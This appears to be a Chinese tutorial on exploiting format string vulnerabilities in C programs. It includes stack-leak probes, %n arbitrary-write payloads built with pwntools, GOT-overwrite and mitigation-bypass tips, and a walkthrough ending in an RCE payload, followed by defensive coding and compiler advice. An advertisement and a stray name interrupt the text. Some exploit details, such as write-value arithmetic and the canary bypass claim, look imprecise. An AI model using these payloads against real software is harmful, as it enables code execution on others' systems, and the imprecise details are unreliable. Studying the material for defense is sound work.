孙绿1. 格式化字符串漏洞原理剖析
格式化字符串漏洞（Format String Vulnerability）是C/C++程序中常见的安全隐患，源于程序员对用户输入数据缺乏严格校验。当攻击者能够控制格式化字符串参数时，就能实现内存读写、程序流程劫持等危险操作。
1.1 格式化函数工作机制
以printf函数族为例，其工作流程包含两个关键阶段：
- 解析阶段：逐字符扫描格式字符串，遇到
%时提取格式说明符（如%d、%s） - 执行阶段：根据说明符从栈中取出对应参数进行转换输出
漏洞产生的根本原因是当格式字符串由用户控制时，攻击者可以精心构造包含特殊格式符的字符串，从而操纵函数行为。例如：
c复制// 危险示例
char user_input[100];
scanf("%s", user_input);
printf(user_input); // 用户输入可直接作为格式字符串
1.2 关键攻击向量分析
攻击者主要利用以下三类格式说明符：
- 内存读取：
%x泄露栈内容，%s读取指针指向的内存 - 内存写入：
%n将已输出字符数写入指定地址（最危险） - 参数定位：
$直接指定参数位置（如%7$x）
典型攻击场景包括：
c复制// 泄露栈数据示例
printf("%08x.%08x.%08x");
// 任意地址写入示例
int value;
printf("%12345x%n", &value); // 将12345写入value变量
需要模型API调用？ 免费领10W Token，多模型网关一键接入 Claude、DeepSeek 等主流模型。
2. 漏洞利用实战技巧
2.1 信息泄露技术
通过组合使用格式符可以实现精确内存探测：
- 使用
%p或%x定位返回地址在栈中的位置 - 结合
%s读取指针指向的敏感数据（如密码） - 使用
%N$p直接访问第N个参数（N需爆破测试）
实际操作中建议：
bash复制# 测试参数位置
for i in {1..20}; do
echo -n "$i: "
./vulnerable_program "%$i\$x"
done
2.2 任意地址写入实现
%n写操作需要解决三个关键问题：
- 地址定位：确定目标地址在栈中的位置
- 值控制：通过输出字符数控制写入值
- 字节序处理：处理多字节写入时的内存对齐
典型利用代码结构：
python复制from pwn import *
payload = p32(target_addr) # 写入地址
payload += b"%%%dc%%%d$n" % (value, offset)
send(payload)
重要提示：现代Linux系统默认开启
FORTIFY_SOURCE防护，会检测明显的格式化字符串滥用
3. 现代环境下的绕过技术
3.1 防护机制对抗
针对常见防护手段的绕过方法：
| 防护机制 | 绕过技巧 |
|---|---|
| ASLR | 先泄露地址再计算偏移 |
| Stack Canary | 通过%n覆盖canary校验值 |
| RELRO | 劫持GOT表未保护项 |
| PIE | 泄露程序基址重建符号表 |
3.2 高级利用技巧
- GOT表劫持：通过覆盖GOT表项将函数调用重定向
python复制# 将exit@got改为system地址
write4(exit_got, system_addr)
- 堆栈枢轴：结合堆漏洞实现栈迁移
assembly复制; 通过格式化漏洞布置fake stack
leave; ret # 触发栈切换
- FSB链式利用：多个格式化漏洞串联使用
- 第一个漏洞泄露关键地址
- 第二个漏洞实现最终利用
4. 防御方案与最佳实践
4.1 开发防护建议
- 代码规范：
c复制// 正确用法
printf("%s", user_input);
// 更安全的替代方案
puts(user_input);
- 编译选项：
bash复制gcc -D_FORTIFY_SOURCE=2 -O2 -fstack-protector-strong
- 运行时检测：
python复制# 使用Libformatstr等工具进行自动化检测
4.2 运维防护措施
- 系统级防护：
bash复制# 启用所有保护机制
echo 2 > /proc/sys/kernel/randomize_va_space
- 应急响应方案：
- 监控异常格式字符串操作
- 对
%n等危险格式符进行过滤
5. 实战案例解析
分析一个真实漏洞利用过程：
- 信息收集阶段：
bash复制$ ./vuln_prog "AAAA%x.%x.%x"
AAAAffd3b2e0.41414141.252e7825
# 发现AAAA(0x41414141)出现在第二个参数位
- 精确地址写入：
python复制payload = p32(0x0804a020) # target_addr
payload += b"%10x%2$n" # 写入值=16
- 实现RCE：
bash复制# 最终payload结构
[system_addr][binsh_addr][%1$n][%2$n]
这个漏洞从发现到利用通常需要20-30次尝试调整偏移量和写入值，建议使用pwntools等工具自动化测试过程。